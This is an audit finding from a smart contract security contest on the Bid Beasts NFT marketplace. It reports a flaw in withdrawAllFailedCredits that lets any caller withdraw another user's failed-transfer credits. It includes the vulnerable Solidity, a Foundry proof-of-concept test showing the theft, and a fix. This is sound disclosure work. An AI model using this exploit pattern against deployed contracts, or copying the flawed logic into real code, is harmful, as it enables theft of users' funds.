Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Incorrect `withdrawAllFailedCredits` logic allows attacker to claim others’ credits


Description

The function withdrawAllFailedCredits(address _receiver) attempts to send failedTransferCredits[_receiver] to msg.sender, but mistakenly clears failedTransferCredits[msg.sender] instead of _receiver. This allows an attacker to call the function with a victim’s address, receive the victim’s credits, and leave the victim’s mapping intact — enabling repeated theft and inconsistent contract state.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: Medium

  • exploitation is straightforward if the contract holds enough ETH for payouts and the attacker can invoke withdrawAllFailedCredits. Failed transfers naturally occur in normal operations, making the risk realistic.

Impact: High

  • direct loss of ETH: the attacker can drain credits belonging to others.

  • The victim’s mapping remains unchanged, allowing repeated exploitation until the contract runs out of funds.

Proof of Concept

  • Paste this code in BidBeastsMarketPlaceTest.t.sol

function test_withdraw_fail_credits() public {
address victim = address(0x555);
uint256 fakeCredit = 2 ether;
address attacker = address(0x666);
vm.deal(address(market), 10 ether);
uint256 baseSlot = 5;
bytes32 storageSlot = keccak256(abi.encode(victim, baseSlot));
bytes32 storageSlot2 = keccak256(abi.encode(attacker, baseSlot));
vm.store(
address(market),
storageSlot2,
bytes32(uint256(1 ether))
);
vm.store(
address(market),
storageSlot,
bytes32(fakeCredit)
);
console.log((attacker).balance);
vm.startPrank(attacker);
market.withdrawAllFailedCredits(address(victim));
vm.stopPrank();
console.log((attacker).balance);
}

Recommended Mitigation

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.